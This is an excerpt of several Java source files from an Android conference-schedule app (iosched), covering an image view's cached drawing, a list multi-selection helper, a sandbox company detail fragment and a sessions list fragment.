width = mBounds.width(); int height = mBounds.height(); if (width == 0 || height == 0) { return; } if (!mCacheValid || width != mCachedWidth || height != mCachedHeight) { // Need to redraw the cache if (width == mCachedWidth && height == mCachedHeight) { // Have a correct-sized bitmap cache already allocated. Just erase it. mCacheBitmap.eraseColor(0); } else { // Allocate a new bitmap with the correct dimensions. mCacheBitmap.recycle(); //noinspection AndroidLintDrawAllocation mCacheBitmap = Bitmap.createBitmap(width, height, Bitmap.Config.ARGB_8888); mCachedWidth = width; mCachedHeight = height; } Canvas cacheCanvas = new Canvas(mCacheBitmap); if (mMaskDrawable != null) { int sc = cacheCanvas.save(); mMaskDrawable.draw(cacheCanvas); mMaskedPaint.setColorFilter((mDesaturateOnPress && isPressed()) ? mDesaturateColorFilter : null); cacheCanvas.saveLayer(mBoundsF, mMaskedPaint, Canvas.HAS_ALPHA_LAYER_SAVE_FLAG | Canvas.FULL_COLOR_LAYER_SAVE_FLAG); super.onDraw(cacheCanvas); cacheCanvas.restoreToCount(sc); } else if (mDesaturateOnPress && isPressed()) { int sc = cacheCanvas.save(); cacheCanvas.drawRect(0, 0, mCachedWidth, mCachedHeight, mBlackPaint); mMaskedPaint.setColorFilter(mDesaturateColorFilter); cacheCanvas.saveLayer(mBoundsF, mMaskedPaint, Canvas.HAS_ALPHA_LAYER_SAVE_FLAG | Canvas.FULL_COLOR_LAYER_SAVE_FLAG); super.onDraw(cacheCanvas); cacheCanvas.restoreToCount(sc); } else { super.onDraw(cacheCanvas); } if (mBorderDrawable != null) { mBorderDrawable.draw(cacheCanvas); } } // Draw from cache canvas.drawBitmap(mCacheBitmap, mBounds.left, mBounds.top, null); } @Override protected void drawableStateChanged() { super.drawableStateChanged(); if (mBorderDrawable != null && mBorderDrawable.isStateful()) { mBorderDrawable.setState(getDrawableState()); } if (mMaskDrawable != null && mMaskDrawable.isStateful()) { mMaskDrawable.setState(getDrawableState()); } if (isDuplicateParentStateEnabled()) { ViewCompat.postInvalidateOnAnimation(this); } } @Override public void invalidateDrawable(Drawable who) { if (who == mBorderDrawable || who == mMaskDrawable) { invalidate(); } else { super.invalidateDrawable(who); } } @Override protected boolean verifyDrawable(Drawable who) { return who == mBorderDrawable || who == mMaskDrawable || super.verifyDrawable(who); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/widget/BezelImageView.java
Java
asf20
7,325
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.os.Bundle; import android.os.Handler; import android.support.v7.app.ActionBarActivity; import android.support.v7.view.ActionMode; import android.util.Pair; import android.util.SparseBooleanArray; import android.view.Menu; import android.view.MenuItem; import android.view.View; import android.widget.AbsListView; import android.widget.Adapter; import android.widget.AdapterView; import android.widget.ListView; import java.util.HashSet; /** * Utilities for handling multiple selection in list views. Contains functionality similar to * {@link AbsListView#CHOICE_MODE_MULTIPLE_MODAL} but that works with {@link ActionBarActivity} and * backward-compatible action bars. */ public class MultiSelectionUtil { public static Controller attachMultiSelectionController(final ListView listView, final ActionBarActivity activity, final MultiChoiceModeListener listener) { return Controller.attach(listView, activity, listener); } public static class Controller implements ActionMode.Callback, AdapterView.OnItemClickListener, AdapterView.OnItemLongClickListener { private Handler mHandler = new Handler(); private ActionMode mActionMode; private ListView mListView = null; private ActionBarActivity mActivity = null; private MultiChoiceModeListener mListener = null; private HashSet<Long> mTempIdsToCheckOnRestore; private HashSet<Pair<Integer, Long>> mItemsToCheck; private AdapterView.OnItemClickListener mOldItemClickListener; private Controller() { } public static Controller attach(ListView listView, ActionBarActivity activity, MultiChoiceModeListener listener) { Controller controller = new Controller(); controller.mListView = listView; controller.mActivity = activity; controller.mListener = listener; listView.setOnItemLongClickListener(controller); return controller; } private void readInstanceState(Bundle savedInstanceState) { mTempIdsToCheckOnRestore = null; if (savedInstanceState != null) { long[] checkedIds = savedInstanceState.getLongArray(getStateKey()); if (checkedIds != null && checkedIds.length > 0) { mTempIdsToCheckOnRestore = new HashSet<Long>(); for (long id : checkedIds) { mTempIdsToCheckOnRestore.add(id); } } } } public void tryRestoreInstanceState(Bundle savedInstanceState) { readInstanceState(savedInstanceState); tryRestoreInstanceState(); } public void finish() { if (mActionMode != null) { mActionMode.finish(); } } public void tryRestoreInstanceState() { if (mTempIdsToCheckOnRestore == null || mListView.getAdapter() == null) { return; } boolean idsFound = false; Adapter adapter = mListView.getAdapter(); for (int pos = adapter.getCount() - 1; pos >= 0; pos--) { if (mTempIdsToCheckOnRestore.contains(adapter.getItemId(pos))) { idsFound = true; if (mItemsToCheck == null) { mItemsToCheck = new HashSet<Pair<Integer, Long>>(); } mItemsToCheck.add( new Pair<Integer, Long>(pos, adapter.getItemId(pos))); } } if (idsFound) { // We found some IDs that were checked. Let's now restore the multi-selection // state. mTempIdsToCheckOnRestore = null; // clear out this temp field mActionMode = mActivity.startSupportActionMode(Controller.this); } } public boolean saveInstanceState(Bundle outBundle) { // TODO: support non-stable IDs by persisting positions instead of IDs if (mActionMode != null && mListView.getAdapter().hasStableIds()) { long[] checkedIds = mListView.getCheckedItemIds(); outBundle.putLongArray(getStateKey(), checkedIds); return true; } return false; } private String getStateKey() { return MultiSelectionUtil.class.getSimpleName() + "_" + mListView.getId(); } @Override public boolean onCreateActionMode(ActionMode actionMode, Menu menu) { if (mListener.onCreateActionMode(actionMode, menu)) { mActionMode = actionMode; mOldItemClickListener = mListView.getOnItemClickListener(); mListView.setOnItemClickListener(Controller.this); mListView.setChoiceMode(AbsListView.CHOICE_MODE_MULTIPLE); mHandler.removeCallbacks(mSetChoiceModeNoneRunnable); if (mItemsToCheck != null) { for (Pair<Integer, Long> posAndId : mItemsToCheck) { mListView.setItemChecked(posAndId.first, true); mListener.onItemCheckedStateChanged(mActionMode, posAndId.first, posAndId.second, true); } } return true; } return false; } @Override public boolean onPrepareActionMode(ActionMode actionMode, Menu menu) { if (mListener.onPrepareActionMode(actionMode, menu)) { mActionMode = actionMode; return true; } return false; } @Override public boolean onActionItemClicked(ActionMode actionMode, MenuItem menuItem) { return mListener.onActionItemClicked(actionMode, menuItem); } @Override public void onDestroyActionMode(ActionMode actionMode) { mListener.onDestroyActionMode(actionMode); SparseBooleanArray checkedPositions = mListView.getCheckedItemPositions(); if (checkedPositions != null) { for (int i = 0; i < checkedPositions.size(); i++) { mListView.setItemChecked(checkedPositions.keyAt(i), false); } } mListView.setOnItemClickListener(mOldItemClickListener); mActionMode = null; mHandler.post(mSetChoiceModeNoneRunnable); } private Runnable mSetChoiceModeNoneRunnable = new Runnable() { @Override public void run() { mListView.setChoiceMode(AbsListView.CHOICE_MODE_NONE); } }; @Override public void onItemClick(AdapterView<?> adapterView, View view, int position, long id) { boolean checked = mListView.isItemChecked(position); mListener.onItemCheckedStateChanged(mActionMode, position, id, checked); int numChecked = 0; SparseBooleanArray checkedItemPositions = mListView.getCheckedItemPositions(); if (checkedItemPositions != null) { for (int i = 0; i < checkedItemPositions.size(); i++) { numChecked += checkedItemPositions.valueAt(i) ? 1 : 0; } } if (numChecked <= 0) { mActionMode.finish(); } } @Override public boolean onItemLongClick(AdapterView<?> adapterView, View view, int position, long id) { if (mActionMode != null) { return false; } mItemsToCheck = new HashSet<Pair<Integer, Long>>(); mItemsToCheck.add(new Pair<Integer, Long>(position, id)); mActionMode = mActivity.startSupportActionMode(Controller.this); return true; } } /** * @see android.widget.AbsListView.MultiChoiceModeListener */ public static interface MultiChoiceModeListener extends ActionMode.Callback { /** * @see android.widget.AbsListView.MultiChoiceModeListener#onItemCheckedStateChanged( * android.view.ActionMode, int, long, boolean) */ public void onItemCheckedStateChanged(ActionMode mode, int position, long id, boolean checked); } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/MultiSelectionUtil.java
Java
asf20
9,113
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Intent; import android.database.Cursor; import android.graphics.drawable.Drawable; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.Fragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.text.TextUtils; import android.view.LayoutInflater; import android.view.Menu; import android.view.MenuInflater; import android.view.MenuItem; import android.view.View; import android.view.ViewGroup; import android.widget.ImageView; import android.widget.TextView; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.ImageLoader; import com.google.android.apps.iosched.util.SessionsHelper; import com.google.android.apps.iosched.util.UIUtils; import static com.google.android.apps.iosched.util.LogUtils.LOGD; import static com.google.android.apps.iosched.util.LogUtils.makeLogTag; /** * A fragment that shows detail information for a sandbox company, including * company name, description, product description, logo, etc. */ public class SandboxDetailFragment extends Fragment implements LoaderManager.LoaderCallbacks<Cursor> { private static final String TAG = makeLogTag(SandboxDetailFragment.class); private Uri mCompanyUri; private TextView mName; private TextView mSubtitle; private ImageView mLogo; private TextView mUrl; private TextView mDesc; private ImageLoader mImageLoader; private int mCompanyImageSize; private Drawable mCompanyPlaceHolderImage; private StringBuilder mBuffer = new StringBuilder(); private String mRoomId; private String mCompanyName; public interface Callbacks { public void onTrackIdAvailable(String trackId); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public void onTrackIdAvailable(String trackId) {} }; private Callbacks mCallbacks = sDummyCallbacks; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); final Intent intent = BaseActivity.fragmentArgumentsToIntent(getArguments()); mCompanyUri = intent.getData(); if (mCompanyUri == null) { return; } mCompanyImageSize = getResources().getDimensionPixelSize(R.dimen.sandbox_company_image_size); mCompanyPlaceHolderImage = getResources().getDrawable(R.drawable.sandbox_logo_empty); setHasOptionsMenu(true); } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); if (mCompanyUri == null) { return; } if (getActivity() instanceof ImageLoader.ImageLoaderProvider) { mImageLoader = ((ImageLoader.ImageLoaderProvider) getActivity()).getImageLoaderInstance(); } // Start background query to load sandbox company details getLoaderManager().initLoader(SandboxQuery._TOKEN, null, this); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException("Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; } @Override public void onCreateOptionsMenu(Menu menu, MenuInflater inflater) { inflater.inflate(R.menu.sandbox_detail, menu); } @Override public boolean onOptionsItemSelected(MenuItem item) { SessionsHelper helper = new SessionsHelper(getActivity()); switch (item.getItemId()) { case R.id.menu_map: if (mRoomId != null && mCompanyName != null) { EasyTracker.getTracker().sendEvent( "Sandbox", "Map", mCompanyName, 0L); LOGD("Tracker", "Map: " + mCompanyName); helper.startMapActivity(mRoomId); return true; } } return false; } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { ViewGroup rootView = (ViewGroup) inflater.inflate(R.layout.fragment_sandbox_detail, null); mName = (TextView) rootView.findViewById(R.id.company_name); mLogo = (ImageView) rootView.findViewById(R.id.company_logo); mUrl = (TextView) rootView.findViewById(R.id.company_url); mDesc = (TextView) rootView.findViewById(R.id.company_desc); mSubtitle = (TextView) rootView.findViewById(R.id.company_subtitle); return rootView; } void buildUiFromCursor(Cursor cursor) { if (getActivity() == null) { return; } if (!cursor.moveToFirst()) { return; } mCompanyName = cursor.getString(SandboxQuery.NAME); mName.setText(mCompanyName); // Start background fetch to load company logo final String logoUrl = cursor.getString(SandboxQuery.LOGO_URL); if (!TextUtils.isEmpty(logoUrl) && mImageLoader != null) { mImageLoader.get(UIUtils.getConferenceImageUrl(logoUrl), mLogo, mCompanyPlaceHolderImage, mCompanyImageSize, mCompanyImageSize); mLogo.setVisibility(View.VISIBLE); } else { mLogo.setVisibility(View.GONE); } mRoomId = cursor.getString(SandboxQuery.ROOM_ID); // Set subtitle: time and room long blockStart = cursor.getLong(SandboxQuery.BLOCK_START); long blockEnd = cursor.getLong(SandboxQuery.BLOCK_END); String roomName = cursor.getString(SandboxQuery.ROOM_NAME); final String subtitle = UIUtils.formatSessionSubtitle( "Sandbox", blockStart, blockEnd, roomName, mBuffer, getActivity()); mSubtitle.setText(subtitle); mUrl.setText(cursor.getString(SandboxQuery.URL)); mDesc.setText(cursor.getString(SandboxQuery.DESC)); String trackId = cursor.getString(SandboxQuery.TRACK_ID); EasyTracker.getTracker().sendView("Sandbox Company: " + mCompanyName); LOGD("Tracker", "Sandbox Company: " + mCompanyName); mCallbacks.onTrackIdAvailable(trackId); } /** * {@link com.google.android.apps.iosched.provider.ScheduleContract.Sandbox} * query parameters. */ private interface SandboxQuery { int _TOKEN = 0x4; String[] PROJECTION = { ScheduleContract.Sandbox.COMPANY_NAME, ScheduleContract.Sandbox.COMPANY_DESC, ScheduleContract.Sandbox.COMPANY_URL, ScheduleContract.Sandbox.COMPANY_LOGO_URL, ScheduleContract.Sandbox.TRACK_ID, ScheduleContract.Sandbox.BLOCK_START, ScheduleContract.Sandbox.BLOCK_END, ScheduleContract.Sandbox.ROOM_NAME, ScheduleContract.Sandbox.ROOM_ID }; int NAME = 0; int DESC = 1; int URL = 2; int LOGO_URL = 3; int TRACK_ID = 4; int BLOCK_START = 5; int BLOCK_END = 6; int ROOM_NAME = 7; int ROOM_ID = 8; } @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { return new CursorLoader(getActivity(), mCompanyUri, SandboxQuery.PROJECTION, null, null, null); } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { buildUiFromCursor(cursor); } @Override public void onLoaderReset(Loader<Cursor> loader) { } }
zzc88915-iosched
android/src/main/java/com/google/android/apps/iosched/ui/SandboxDetailFragment.java
Java
asf20
8,632
/* * Copyright 2012 Google Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package com.google.android.apps.iosched.ui; import android.app.Activity; import android.content.Context; import android.content.Intent; import android.content.SharedPreferences; import android.database.ContentObserver; import android.database.Cursor; import android.graphics.Color; import android.net.Uri; import android.os.Bundle; import android.os.Handler; import android.os.SystemClock; import android.preference.PreferenceManager; import android.provider.BaseColumns; import android.support.v4.app.ListFragment; import android.support.v4.app.LoaderManager; import android.support.v4.content.CursorLoader; import android.support.v4.content.Loader; import android.support.v4.widget.CursorAdapter; import android.support.v7.app.ActionBarActivity; import android.support.v7.view.ActionMode; import android.text.Spannable; import android.text.TextUtils; import android.util.SparseBooleanArray; import android.view.*; import android.widget.ListView; import android.widget.TextView; import android.widget.Toast; import com.google.analytics.tracking.android.EasyTracker; import com.google.android.apps.iosched.R; import com.google.android.apps.iosched.provider.ScheduleContract; import com.google.android.apps.iosched.util.PrefUtils; import com.google.android.apps.iosched.util.SessionsHelper; import com.google.android.apps.iosched.util.UIUtils; import java.util.ArrayList; import java.util.List; import static com.google.android.apps.iosched.util.LogUtils.*; import static com.google.android.apps.iosched.util.UIUtils.buildStyledSnippet; import static com.google.android.apps.iosched.util.UIUtils.formatSessionSubtitle; /** * A {@link ListFragment} showing a list of sessions. */ public class SessionsFragment extends ListFragment implements LoaderManager.LoaderCallbacks<Cursor>, MultiSelectionUtil.MultiChoiceModeListener { private static final String TAG = makeLogTag(SessionsFragment.class); private static final String STATE_SELECTED_ID = "selectedId"; private CursorAdapter mAdapter; private String mSelectedSessionId; private MenuItem mStarredMenuItem; private MenuItem mMapMenuItem; private MenuItem mShareMenuItem; private MenuItem mSocialStreamMenuItem; private int mSessionQueryToken; private Handler mHandler = new Handler(); private MultiSelectionUtil.Controller mMultiSelectionController; // instance state while view is destroyed but fragment is alive private Bundle mViewDestroyedInstanceState; public interface Callbacks { /** Return true to select (activate) the session in the list, false otherwise. */ public boolean onSessionSelected(String sessionId); } private static Callbacks sDummyCallbacks = new Callbacks() { @Override public boolean onSessionSelected(String sessionId) { return true; } }; private Callbacks mCallbacks = sDummyCallbacks; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); if (savedInstanceState != null) { mSelectedSessionId = savedInstanceState.getString(STATE_SELECTED_ID); } } @Override public void onActivityCreated(Bundle savedInstanceState) { super.onActivityCreated(savedInstanceState); // As of support library r12, calling initLoader for a fragment in a FragmentPagerAdapter // in the fragment's onCreate may cause the same LoaderManager to be dealt to multiple // fragments because their mIndex is -1 (haven't been added to the activity yet). Thus, // we call reloadFromArguments (which calls restartLoader/initLoader) in onActivityCreated. reloadFromArguments(getArguments()); } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { View rootView = inflater.inflate(R.layout.fragment_list_with_empty_container_inset, container, false); TextView emptyView = new TextView(getActivity(), null, R.attr.emptyText); emptyView.setText(UIUtils.shouldShowLiveSessionsOnly(getActivity()) ? R.string.empty_live_streamed_sessions : R.string.empty_sessions); ((ViewGroup) rootView.findViewById(android.R.id.empty)).addView(emptyView); mMultiSelectionController = MultiSelectionUtil.attachMultiSelectionController( (ListView) rootView.findViewById(android.R.id.list), (ActionBarActivity) getActivity(), this); if (savedInstanceState == null && isMenuVisible()) { savedInstanceState = mViewDestroyedInstanceState; } mMultiSelectionController.tryRestoreInstanceState(savedInstanceState); return rootView; } @Override public void onDestroyView() { super.onDestroyView(); if (mMultiSelectionController != null) { mMultiSelectionController.finish(); } mMultiSelectionController = null; } void reloadFromArguments(Bundle arguments) { // Teardown from previous arguments setListAdapter(null); // Load new arguments final Intent intent = BaseActivity.fragmentArgumentsToIntent(arguments); Uri sessionsUri = intent.getData(); if (sessionsUri == null) { sessionsUri = ScheduleContract.Sessions.CONTENT_URI; } if (!ScheduleContract.Sessions.isSearchUri(sessionsUri)) { mAdapter = new SessionsAdapter(getActivity()); mSessionQueryToken = SessionsQuery._TOKEN; } else { mAdapter = new SearchAdapter(getActivity()); mSessionQueryToken = SearchQuery._TOKEN; } setListAdapter(mAdapter); // Force start background query to load sessions getLoaderManager().restartLoader(mSessionQueryToken, arguments, this); } public void setSelectedSessionId(String id) { mSelectedSessionId = id; if (mAdapter != null) { mAdapter.notifyDataSetChanged(); } } @Override public void onViewCreated(View view, Bundle savedInstanceState) { super.onViewCreated(view, savedInstanceState); view.setBackgroundColor(Color.WHITE); final ListView listView = getListView(); listView.setSelector(android.R.color.transparent); listView.setCacheColorHint(Color.WHITE); } @Override public void onAttach(Activity activity) { super.onAttach(activity); if (!(activity instanceof Callbacks)) { throw new ClassCastException("Activity must implement fragment's callbacks."); } mCallbacks = (Callbacks) activity; activity.getContentResolver().registerContentObserver( ScheduleContract.Sessions.CONTENT_URI, true, mObserver); SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(activity); sp.registerOnSharedPreferenceChangeListener(mPrefChangeListener); } @Override public void onDetach() { super.onDetach(); mCallbacks = sDummyCallbacks; getActivity().getContentResolver().unregisterContentObserver(mObserver); SharedPreferences sp = PreferenceManager.getDefaultSharedPreferences(getActivity()); sp.unregisterOnSharedPreferenceChangeListener(mPrefChangeListener); } @Override public void onResume() { super.onResume(); mHandler.post(mRefreshSessionsRunnable); } @Override public void onPause() { super.onPause(); mHandler.removeCallbacks(mRefreshSessionsRunnable); } @Override public void onSaveInstanceState(Bundle outState) { super.onSaveInstanceState(outState); if (mSelectedSessionId != null) { outState.putString(STATE_SELECTED_ID, mSelectedSessionId); } if (mMultiSelectionController != null) { mMultiSelectionController.saveInstanceState(outState); } } @Override public void setMenuVisibility(boolean menuVisible) { super.setMenuVisibility(menuVisible); if (mMultiSelectionController == null) { return; } // Hide the action mode when the fragment becomes invisible if (!menuVisible) { Bundle bundle = new Bundle(); if (mMultiSelectionController.saveInstanceState(bundle)) { mViewDestroyedInstanceState = bundle; mMultiSelectionController.finish(); } } else if (mViewDestroyedInstanceState != null) { mMultiSelectionController.tryRestoreInstanceState(mViewDestroyedInstanceState); mViewDestroyedInstanceState = null; } } /** {@inheritDoc} */ @Override public void onListItemClick(ListView l, View v, int position, long id) { final Cursor cursor = (Cursor) mAdapter.getItem(position); String sessionId = cursor.getString(cursor.getColumnIndex( ScheduleContract.Sessions.SESSION_ID)); if (mCallbacks.onSessionSelected(sessionId)) { mSelectedSessionId = sessionId; mAdapter.notifyDataSetChanged(); } } // LoaderCallbacks interface @Override public Loader<Cursor> onCreateLoader(int id, Bundle data) { final Intent intent = BaseActivity.fragmentArgumentsToIntent(data); Uri sessionsUri = intent.getData(); if (sessionsUri == null) { sessionsUri = ScheduleContract.Sessions.CONTENT_URI; } Loader<Cursor> loader = null; String liveStreamedOnlySelection = UIUtils.shouldShowLiveSessionsOnly(getActivity()) ? "IFNULL(" + ScheduleContract.Sessions.SESSION_LIVESTREAM_URL + ",'')!=''" : null; if (id == SessionsQuery._TOKEN) { loader = new CursorLoader(getActivity(), sessionsUri, SessionsQuery.PROJECTION, liveStreamedOnlySelection, null, ScheduleContract.Sessions.DEFAULT_SORT); } else if (id == SearchQuery._TOKEN) { loader = new CursorLoader(getActivity(), sessionsUri, SearchQuery.PROJECTION, liveStreamedOnlySelection, null, ScheduleContract.Sessions.DEFAULT_SORT); } return loader; } @Override public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) { if (getActivity() == null) { return; } int token = loader.getId(); if (token == SessionsQuery._TOKEN || token == SearchQuery._TOKEN) { mAdapter.changeCursor(cursor); Bundle arguments = getArguments(); if (arguments != null && arguments.containsKey("_uri")) { String uri = arguments.get("_uri").toString(); if(uri != null && uri.contains("blocks")) { String title = arguments.getString(Intent.EXTRA_TITLE); if (title == null) { title = (String) this.getActivity().getTitle(); } EasyTracker.getTracker().sendView("Session Block: " + title); LOGD("Tracker", "Session Block: " + title); } } } else { LOGD(TAG, "Query complete, Not Actionable: " + token); cursor.close(); } mMultiSelectionController.tryRestoreInstanceState(); } @Override public void onLoaderReset(Loader<Cursor> loader) { } private List<Integer> getCheckedSessionPositions() { List<Integer> checkedSessionPositions = new ArrayList<Integer>(); ListView listView = getListView(); if (listView == null) { return checkedSessionPositions; } SparseBooleanArray checkedPositionsBool = listView.getCheckedItemPositions(); for (int i = 0; i < checkedPositionsBool.size(); i++) { if (checkedPositionsBool.valueAt(i)) { checkedSessionPositions.add(checkedPositionsBool.keyAt(i)); } } return checkedSessionPositions; } // MultiChoiceModeListener interface @Override public boolean onActionItemClicked(ActionMode mode, MenuItem item) { List<Integer> checkedSessionPositions = getCheckedSessionPositions(); SessionsHelper helper = new SessionsHelper(getActivity()); mode.finish(); switch (item.getItemId()) { case R.id.menu_map: { // multiple selection not supported int position = checkedSessionPositions.get(0); Cursor cursor = (Cursor) mAdapter.getItem(position); String roomId = cursor.getString(SessionsQuery.ROOM_ID); helper.startMapActivity(roomId); String title = cursor.getString(SessionsQuery.TITLE); EasyTracker.getTracker().sendEvent( "Session", "Mapped", title, 0L); LOGV(TAG, "Starred: " + title); return true; } case R.id.menu_star: { // multiple selection supported boolean starred = false; int numChanged = 0; for (int position : checkedSessionPositions) { Cursor cursor = (Cursor) mAdapter.getItem(position); String title = cursor.getString(SessionsQuery.TITLE); String sessionId = cursor.getString(SessionsQuery.SESSION_ID); Uri sessionUri = ScheduleContract.Sessions.buildSessionUri(sessionId); starred = cursor.getInt(SessionsQuery.STARRED) == 0; helper.setSessionStarred(sessionUri, starred, title); ++numChanged; EasyTracker.getTracker().sendEvent( "Session", starred ? "Starred" : "Unstarred", title, 0L); LOGV(TAG, "Starred: " + title); } Toast.makeText( getActivity(), getResources().getQuantityString(starred ? R.plurals.toast_added_to_schedule : R.plurals.toast_removed_from_schedule, numChanged, numChanged), Toast.LENGTH_SHORT).show(); setSelectedSessionStarred(starred); return true; } case R.id.menu_share: { // multiple selection not supported int position = checkedSessionPositions.get(0); // On ICS+ devices, we normally won't reach this as ShareActionProvider will handle // sharing. Cursor cursor = (Cursor) mAdapter.getItem(position); new SessionsHelper(getActivity()).shareSession(getActivity(), R.string.share_template, cursor.getString(SessionsQuery.TITLE), cursor.getString(SessionsQuery.HASHTAGS), cursor.getString(SessionsQuery.URL)); return true; } case R.id.menu_social_stream: // multiple selection not supported int position = checkedSessionPositions.get(0); Cursor cursor = (Cursor) mAdapter.getItem(position); String hashtags = cursor.getString(SessionsQuery.HASHTAGS); helper.startSocialStream(hashtags); return true; default: LOGW(TAG, "CAB unknown selection=" + item.getItemId()); return false; } } @Override public boolean onCreateActionMode(ActionMode mode, Menu menu) { MenuInflater inflater = mode.getMenuInflater(); inflater.inflate(R.menu.sessions_context, menu); mStarredMenuItem = menu.findItem(R.id.menu_star); mMapMenuItem = menu.findItem(R.id.menu_map); mShareMenuItem = menu.findItem(R.id.menu_share); mSocialStreamMenuItem = menu.findItem(R.id.menu_social_stream); return true; } @Override public void onDestroyActionMode(ActionMode mode) {} @Override public boolean onPrepareActionMode(ActionMode mode, Menu menu) { return true; } @Override public void onItemCheckedStateChanged(ActionMode mode, int position, long id, boolean checked) { List<Integer> checkedSessionPositions = getCheckedSessionPositions(); int numSelectedSessions = checkedSessionPositions.size(); mode.setTitle(getResources().getQuantityString( R.plurals.title_selected_sessions, numSelectedSessions, numSelectedSessions)); if (numSelectedSessions == 1) { // activate all the menu items mMapMenuItem.setVisible(true); mShareMenuItem.setVisible(true); mStarredMenuItem.setVisible(true); position = checkedSessionPositions.get(0); Cursor cursor = (Cursor) mAdapter.getItem(position); boolean starred = cursor.getInt(SessionsQuery.STARRED) != 0; String hashtags = cursor.getString(SessionsQuery.HASHTAGS); mSocialStreamMenuItem.setVisible(!TextUtils.isEmpty(hashtags)); setSelectedSessionStarred(starred); } else { mMapMenuItem.setVisible(false); mShareMenuItem.setVisible(false); mSocialStreamMenuItem.setVisible(false); boolean allStarred = true; boolean allUnstarred = true; for (int pos : checkedSessionPositions) { Cursor cursor = (Cursor) mAdapter.getItem(pos); boolean starred = cursor.getInt(SessionsQuery.STARRED) != 0; allStarred = allStarred && starred; allUnstarred = allUnstarred && !starred; } if (allStarred) { setSelectedSessionStarred(true); mStarredMenuItem.setVisible(true); } else if (allUnstarred) { setSelectedSessionStarred(false); mStarredMenuItem.setVisible(true); } else { mStarredMenuItem.setVisible(false); } } } private void setSelectedSessionStarred(boolean starred) { mStarredMenuItem.setTitle(starred ? R.string.description_remove_schedule : R.string.description_add_schedule); mStarredMenuItem.setIcon(starred ? R.drawable.ic_action_remove_schedule : R.drawable.ic_action_add_schedule); } private final Runnable mRefreshSessionsRunnable = new Runnable() { public void run() { if (mAdapter != null) { // This is used to refresh session title colors. mAdapter.notifyDataSetChanged(); } // Check again on the next quarter hour, with some padding to // account for network // time differences. long nextQuarterHour = (SystemClock.uptimeMillis() / 900000 + 1) * 900000 + 5000; mHandler.postAtTime(mRefreshSessionsRunnable, nextQuarterHour); } }; private final SharedPreferences.OnSharedPreferenceChangeListener mPrefChangeListener = new SharedPreferences.OnSharedPreferenceChangeListener() { @Override public void onSharedPreferenceChanged(SharedPreferences sp, String key) { if (isAdded() && mAdapter != null) { if (PrefUtils.PREF_LOCAL_TIMES.equals(key)) { PrefUtils.isUsingLocalTime(getActivity(), true); // force update mAdapter.notifyDataSetInvalidated(); } else if (PrefUtils.PREF_ATTENDEE_AT_VENUE.equals(key)) { PrefUtils.isAttendeeAtVenue(getActivity(), true); // force update mAdapter.notifyDataSetInvalidated(); } } } }; private final ContentObserver mObserver = new ContentObserver(new Handler()) { @Override public void onChange(boolean selfChange) { if (!isAdded()) { return; } Loader<Cursor> loader = getLoaderManager().getLoader(mSessionQueryToken); if (loader != null) { loader.forceLoad(); } } }; /** * {@link CursorAdapter} that renders a {@link SessionsQuery}. */ private class SessionsAdapter extends CursorAdapter { StringBuilder mBuffer = new StringBuilder(); public SessionsAdapter(Context context) { super(context, null, 0); } /** {@inheritDoc} */ @Override public View newView(Context context, Cursor cursor, ViewGroup parent) { return getActivity().getLayoutInflater().inflate(R.layout.list_item_session, parent, false); } /** {@inheritDoc} */ @Override public void bindView(View view, Context context, Cursor cursor) { String sessionId = cursor.getString(SessionsQuery.SESSION_ID); if (sessionId == null) { return; } UIUtils.setActivatedCompat(view, sessionId.equals(mSelectedSessionId)); final TextView titleView = (TextView) view.findViewById(R.id.session_title); final TextView subtitleView = (TextView) view.findViewById(R.id.session_subtitle); final String sessionTitle = cursor.getString(SessionsQuery.TITLE); titleView.setText(sessionTitle); // Format time block this session occupies final long blockStart = cursor.getLong(SessionsQuery.BLOCK_START); final long blockEnd = cursor.getLong(SessionsQuery.BLOCK_END); final String roomName = cursor.getString(SessionsQuery.ROOM_NAME); final String subtitle = formatSessionSubtitle( sessionTitle, blockStart, blockEnd, roomName, mBuffer, context); final boolean starred = cursor.getInt(SessionsQuery.STARRED) != 0; view.findViewById(R.id.indicator_in_schedule).setVisibility( starred ? 